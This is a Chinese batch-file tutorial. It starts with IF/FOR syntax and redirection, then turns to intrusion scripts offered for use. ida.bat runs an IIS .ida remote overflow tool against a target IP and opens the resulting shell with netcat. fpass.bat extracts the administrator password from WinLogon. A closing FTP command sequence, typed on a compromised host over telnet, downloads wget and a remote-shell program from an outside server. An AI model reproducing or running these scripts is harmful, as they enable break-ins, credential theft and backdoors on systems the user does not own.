IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母順序 ijklmnopq依次取引數.

eol=c - 指一個行註釋字元的結尾(就一個)

skip=n - 指在檔案開始時忽略的行數。

delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的預設分隔符集。

########################

4. 簡單批處理檔案概念

########################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二個echo是追加

第三個echo將清空a.txt 重新建立 a.txt

netstat -n | find "3389"

這個將要列出所有連線3389的使用者的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不顯示註釋語句,本行顯示

@rem 不顯示註釋語句,本行不顯示

@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我們以具體的一個idahack程式就是ida遠端溢位為例子.應該是很簡單的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find "good luck :)" %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

_____________________ida.bat__END_______

下面我們再來第二個檔案.就是得到administrator的口令.

大多數人說得不到.其實是自己的沒有輸入正確的資訊.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo ____________________________________

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

_________________fpass.bat___END___________________________________________________________

還有一個就是已經通過telnet登陸了一個遠端主機.怎樣上傳檔案(win)

依次在視窗輸入下面的東西. 當然了也可以全部拷貝.Ctrl+V過去. 然後就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w